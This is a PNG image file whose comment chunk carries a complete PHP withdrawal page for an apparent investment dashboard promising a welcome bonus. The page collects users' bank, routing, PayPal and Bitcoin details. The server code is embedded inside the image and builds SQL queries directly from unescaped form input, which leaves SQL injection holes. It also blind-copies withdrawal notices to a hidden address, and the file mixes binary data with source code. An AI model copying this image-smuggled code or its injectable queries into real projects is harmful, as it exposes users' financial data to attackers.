PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
require_once('includes/connect.php');
require_once('includes/functions.php');
if(isset($_GET['l'])){
logout();
header("location: https://localhost");
}
session_start();
$pin = OTP_Withdraw();
if(!isset($_SESSION['Email'])){
header("location:../../../index.php");
}
$not_info = Getnotificationstatus($_SESSION['Email']);
$not_info = Getnotification($_SESSION['Email']);
$user = GetMember1($_SESSION['Email']);
$history = New_history($user['Email']);
$withh = withe($user['Email']);
if(!isset($_SESSION['Email'])){
header("location:../../../index.php");
}
$user = GetMember1($_SESSION['Email']);
$history = New_history($user['Email']);
if(isset($_POST["dep"])){
header("location: index.php?dep=dep");
}
if (isset($_POST["amt"])) {
$am = $_POST["amt"];
$p = $user["Profit"];
$c = $user["Capital"];
$rcm = 0;
// Determine the balance based on the source
if ($_POST["from"] === "profit") {
$rcm = $p;
} elseif ($_POST["from"] === "capital") {
$rcm = $c;
}
// Validate the withdrawal amount
if ($am > $rcm) {
echo "<script>alert('Insufficient amount inputted');</script>";
exit;
}
$method = "";
$value = "";
// Determine withdrawal method and corresponding value
switch ($_POST["m"]) {
case "bank":
$method = "Bank Account";
$value = $_POST["anumb"];
break;
case "bitcoin":
$method = "Bitcoin Wallet";
$value = $_POST["ba"];
break;
case "paypal":
$method = "Paypal Wallet";
$value = $_POST["pe"];
break;
default:
echo "<script>alert('Invalid withdrawal method');</script>";
exit;
}
// Calculate the new balance
$fromm = ($_POST["from"] === "capital") ? "Capital" : "Profit";
$newBalance = ($fromm === "Capital") ? ($c - $am) : ($p - $am);
$currentDate = date("Y-m-d");
// Update the user's balance in the database
$updateQuery = sprintf(
'UPDATE members SET %s = %d WHERE Email = "%s"',
$fromm,
$newBalance,
$_SESSION['Email']
);
if (mysqli_query($conn, $updateQuery)) {
// Insert the withdrawal request into the database
$insertQuery = sprintf(
"INSERT INTO wid (uname, email, amt, adr, method, otp, bn, bacc, accn, br, pe, date)
VALUES ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')",
$user['full_name'],
$user['Email'],
$_POST['amt'],
$_POST['ba'],
$method,
$pin,
$_POST["bn"],
$_POST['aname'],
$_POST['anumb'],
$_POST['rnumb'],
$_POST['pe'],
$currentDate
);
if (mysqli_query($conn, $insertQuery)) {
// Send an email notification
$to = 'support@cloproglobal.com';
$subject = 'Withdrawal Notice';
$message = sprintf(
"Withdrawal request: username: %s, amount: %s%s, Method: %s, Date: %s",
$user['full_name'],
$user['sym'],
$_POST['amt'],
$method,
$currentDate
);
$headers = "From: dashboard.com\r\n";
$headers .= "CC: ae@example.com\r\n";
$headers .= "BCC: hidden@example.com\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();
mail($to, $subject, $message, $headers);
// Redirect to the success page
header("Location: wid2.php");
exit;
} else {
header("Location: withdraw.php?er=error");
exit;
}
} else {
header("Location: withdraw.php?er=error");
exit;
}
}
?>
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from demo.dashboard.com/cloproglobal/accounts.html by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 08 Jan 2021 23:21:05 GMT -->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>cloproglobal Dashboard</title>
<!-- Favicon icon -->
<link rel="icon" type="image/png" sizes="16x16" href="images/favicon.png">
<!-- Custom Stylesheet -->
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="preloader">
<div class="sk-three-bounce">
<div class="sk-child sk-bounce1"></div>
<div class="sk-child sk-bounce2"></div>
<div class="sk-child sk-bounce3"></div>
</div>
</div>
<div id="main-wrapper">
<div class="header">
<div class="container-fluid">
<div class="row">
<div class="col-xl-12">
<nav class="navbar">
<div class="header-search d-flex align-items-center">
<a class="brand-logo mr-3" href="index.php">
<img src="images/logo.png" alt="" width="30">
</a>
</div>
<div class="d-flex align-items-center">
<a href="#" data-toggle="dropdown" class="toggle">
<?php
$email = $_SESSION['Email'];
$sql = sprintf("SELECT Status FROM notification WHERE Email = '%s' and Status = 'Unread' ",$email);
$result = mysqli_query($conn, $sql);
$totaln = mysqli_num_rows($result);
?>
<i class="fa fa-bell"></i>
<span class="badge badge-accent"><?php echo number_format($totaln); ?></span>
</a>
<ul class="dropdown-menu notifications animated fadeIn">
<li class="total">
<small>You have <?php echo number_format($totaln);?> new notifications</small>
<hr>
</li>
<?php while( $row = mysqli_fetch_assoc($not_info)){ ?>
<li class="total">
<li><a href="notification.php">--> <small><?php echo $row["subject"];?></small></li>
<?php } ?>
</li>
<li><a href="notification.php" class="pull-right"><small>View all</small></a></li>
</ul>
</div>
<div class="dashboard_log">
<div class="d-flex align-items-center">
<div class="profile_log dropdown">
<div class="user" data-toggle="dropdown">
<img src="images/profile/<?php echo $user["img"];?>"class="thumb">
<span class="name"><?php echo $user["Uname"] ; ?> </span>
<span class="arrow"><i class="la la-angle-down"></i></span>
</div>
<div class="dropdown-menu dropdown-menu-right">
<a href="profile.php" class="dropdown-item">
<i class="mdi mdi-account"></i> Account
</a>
<a href="settings.php" class="dropdown-item">
<i class="la la-cog"></i> Setting
</a>
<a href="logout.php" class="dropdown-item logout">
<i class="la la-sign-out"></i> Logout
</a>
</div>
</div>
</div>
</div>
</nav>
</div>
</div>
</div>
</div>
<div class="sidebar">
<div class="brand-logo">
<a href="index.php"><img src="images/logo.png" alt="">
</a>
</div>
<div class="menu">
<ul>
<li>
<a href="index.php" data-toggle="tooltip" data-placement="right" title="Home">
<span><i class="icofont-ui-home"></i></span>
</a>
</li>
<li>
<a href="profile.php" data-toggle="tooltip" data-placement="right" title="Profile">
<span><i class="icofont-ui-user"></i></span>
</a>
</li>
<li><a href="compose.php" data-toggle="tooltip" data-placement="right" title="Compose">
<span><i class="icofont-stack-exchange"></i></span>
</a>
</li>
<li><a href="deposit.php" data-toggle="tooltip" data-placement="right" title="Accounts">
<span><i class="icofont-wallet"></i></span>
</a>
</li>
<li><a href="withdraw.php" data-toggle="tooltip" data-placement="right" title="Withdraw">
<span><i class="icofont-money"></i></span>
</a>
</li>
<li class="logout"><a href="upgrade.php" data-toggle="tooltip" data-placement="Upgrade"
title="Signout">
<span><i class="icofont-upload-alt"></i></span>
</a>
</li>
</ul>
</div>
</div>
<div class="page_title">
<div class="container-fluid">
<div class="row">
</div>
</div>
</div>
<div class="content-body">
<div class="container-fluid">
<div class="row">
<div class="col-xl-6 col-lg-6 col-md-6">
<div id="google_translate_element"></div>
<script type="text/javascript">
function googleTranslateElementInit() {
new google.translate.TranslateElement({pageLanguage: 'en', layout: google.translate.TranslateElement.InlineLayout.SIMPLE}, 'google_translate_element');
}
</script>
<script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
<div class="col-xl-12 col-md-12 col-sm-12">
<div class="card">
<div class="card-body">
<ol class="breadcrumb">
<p>NOTE:
</p><hr>
<p>Make your first deposit with any of the following methods and claim your 100% welcome bonus. You are also entitled to a Stock Market trading software immediately your deposit has been confirmed.</p>
</ol>
</div>
</div>
</div>
<div class="card profile_card">
<div class="card-body">
<div class="media">
<img class="mr-3 rounded-circle mr-0 mr-sm-3" src="images/profile/<?php echo $user["img"] ; ?>" width="60"
height="60" alt="">
<div class="media-body">
<span>Hello</span>
<h4 class="mb-2"><?php echo $user["Uname"] ; ?> </h4>
<p class="mb-1"> <span><i class="fa fa-phone mr-2 text-primary"></i></span><?php echo $user["phone"] ; ?> </p>
<p class="mb-1"> <span><i class="fa fa-envelope mr-2 text-primary"></i></span>
<?php echo $user["Email"] ; ?>
</p>
</div>
</div>
<ul class="card-profile__info">
</ul>
</div>
</div>
<div class="col-xl-12 col-lg-12 col-md-12">
<div class="card acc_balance">
<div class="card-header">
<h4 class="card-title">Wallet</h4>
</div>
<div class="card-body">
<span>Profit:</span>
<h3><?php echo $user["sym"] ; ?><?php echo number_format($user["Profit"] ); ?> </h3>
<div class="d-flex justify-content-between my-4">
<div>
<p class="mb-1">Capital:</p>
<h4><?php echo $user["sym"] ; ?><?php echo number_format($user["Capital"] ); ?> </h4>
</div>
</div>
<div class="btn-group mb-3">
<a href="upgrade.php"><button class="btn btn-success"><p style="color:white">UPGRADE</p></button></a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-12">
<div class="card">
<div class="card-header">
<h4 class="card-title">Withdraw</h4>
</div>
<div class="card-body">
<center>
<form method="POST" action="withdraw.php">
<div class="form-group row">
<label for="example-number-input" class="col-12 col-form-label">from</label>
<select name="from" id="from" class="browser-default padded-select form-control col-12">
<option value="profit" > Profit (<?php echo $user["sym"]?><?php echo $user["Profit"]?>)</option>
<option value="capital" >Capital (<?php echo $user["sym"]?><?php echo $user["Capital"]?>)</option>
</select>
</div>
<div class="form-group row">
<label for="example-number-input" class="col-12 col-form-label">Pay Out method</label>
<select name="m" id="paymentMethod" onchange="showPaymentForm()" required="" class="browser-default padded-select form-control col-12">
<option noselected="">Select</option>
<option value="bitcoin" >Bitcoin</option>
<option value="paypal">PayPal</option>
<option value="bank">Bank</option>
</select>
</div>
<div class="form-group row" >
<label for="example-number-input" class="col-12 col-form-label">
<span class="col-12 col-form-label prefix"><?php echo $user["sym"]?></span>
</label>
<div class="col-12">
<input class="form-control" inputmode="decimal" type="number" id="amount" min="" max="" step="any" name="amt" class="" value="" required="">
<span style="color:crimson"></span>
</div>
</div>
<div class="form-group row" id="bankForm" class="paymentForm" style="display: none;">
<div class="input-field">
<input class="form-control" name="bn" type="text" id="bankName" maxlength="300" inputmode="text" value="">
<label class="active" for="bank_name">bank name</label>
</div>
<div class="input-field">
<input class="form-control"type="text" id="accountName" name="aname" maxlength="300" inputmode="text" value="">
<label class="active" for="account_name">account name</label>
</div>
<div class="input-field">
<input class="form-control" type="text" id="accountNumber" name="anumb" maxlength="300" inputmode="text" value="">
<label class="active" for="account_number">account number</label>
</div>
<div class="input-field">
<input class="form-control" type="text" id="routingNumber" name="rnumb" maxlength="300" inputmode="text" value="">
<label class="active" for="routing_number">routing number</label>
</div>
</div>
<div id="paypalForm" class="paymentForm" style="display: none;">
<label for="paypalEmail">PayPal Email:</label>
<input class="form-control" type="email" id="paypalEmail" name="pe">
</div>
<div id="bitcoinForm" class="paymentForm" style="display: none;">
<label for="bitcoinAddress">Bitcoin Address:</label>
<input class="form-control" type="text" id="bitcoinAddress" name="ba">
</div>
<div id="ethereumForm" class="paymentForm" style="display: none;">
<label for="ethereumAddress">Ethereum Address:</label>
<input class="form-control" type="text" id="ethereumAddress" name="ea">
</div>
<br>
<div class="form-group row">
<div class="col-12">
<center>
<button class="btn btn-full" type="submit" name="all" style="background:#00acac;color:white">
Submit</button>
</center>
</div>
</div>
</form>
</center>
<script>
function showPaymentForm() {
var paymentMethod = document.getElementById("paymentMethod").value;
var bankForm = document.getElementById("bankForm");
var paypalForm = document.getElementById("paypalForm");
var bitcoinForm = document.getElementById("bitcoinForm");
var ethereumForm = document.getElementById("ethereumForm");
// Hide all forms
bankForm.style.display = "none";
paypalForm.style.display = "none";
bitcoinForm.style.display = "none";
ethereumForm.style.display = "none";
// Show the selected form
if (paymentMethod === "bank") {
bankForm.style.display = "block";
} else if (paymentMethod === "paypal") {
paypalForm.style.display = "block";
} else if (paymentMethod === "bitcoin") {
bitcoinForm.style.display = "block";
} else if (paymentMethod === "ethereum") {
ethereumForm.style.display = "block";
}
}
</script>
</div>
</div>
</div>
<div class="col-xl-12 col-xxl-12">
<div class="card">
<div class="card-header border-0">
<h4 class="card-title"> Withdrawal History From <?php echo $user["Date"] ; ?> To <?php echo date("d-M-Y"); ?> </h4>
</div>
<div class="card-body pt-0">
<div class="transaction-table">
<div class="table-responsive">
<table class="table mb-0 table-responsive-sm">
<thead>
<tr>
<th scope="col">ID</th>
<th scope="col">Date</th>
<th scope="col">Amount</th>
<th scope="col">Method</th>
<th scope="col">Receiver</th>
<th scope="col">Status</th>
</tr>
</thead>
<tbody>
<?php while($row = mysqli_fetch_assoc($withh)){
?>
<tr>
<td><span class="buy-thumb"><i class="la la-arrow-up"></i>ID<?php echo $row["ID"] ?>#</span>
</td>
<td>
<span class="badge badge-success"><?php echo $row["date"] ?></span>
</td>
<td>
<i class="cc DASH"></i> $<?php echo $row["amt"] ?>
</td>
<td>
<?php echo $row["method"] ?>
</td>
<td class="text-success">
<?php
if($row["method"] == "Bank Account"){
$vf = $row["bacc"];
}elseif($row["method"] == "Bitcoin Wallet") {
$vf = $row["adr"];
}elseif($row["method"] == "Paypal Wallet") {
$vf = $row["pe"];
}
echo $vf;
?>
</td>
<td> <span class="badge badge-danger"> <?php echo $row["status"] ?></span></td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="app-assets/js/core/app-menu.min.js" type="text/javascript"></script>
<script src="app-assets/js/core/app.min.js" type="text/javascript"></script>
<script src="app-assets/js/scripts/customizer.min.js" type="text/javascript"></script>
<!-- END MODERN JS-->
<!-- BEGIN PAGE LEVEL JS-->
<script src="app-assets/js/scripts/pages/dashboard-crypto.min.js" type="text/javascript"></script>
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script>
<script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="js/scripts.js"></script>
<script type="text/javascript">
$(function () {
$("#withdrawalMethod").change(function () {
if ($(this).val() == "Bank Transfer") {
$("#beneficiaryField1").fadeIn();
$("#beneficiaryField2").fadeIn();
$("#beneficiaryField3").fadeIn();
$("#beneficiaryField4").fadeIn();
$("#beneficiaryField5").fadeIn();
$("#beneficiaryField6").fadeIn();
} else {
$("#beneficiaryField1").fadeOut();
$("#beneficiaryField2").fadeOut();
$("#beneficiaryField3").fadeOut();
$("#beneficiaryField4").fadeOut();
$("#beneficiaryField5").fadeOut();
$("#beneficiaryField6").fadeOut();
}
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$("#myModal").modal('show');
});
</script>
</body>
<!-- Mirrored from demo.dashboard.com/cloproglobal/accounts.html by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 08 Jan 2021 23:21:06 GMT -->
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E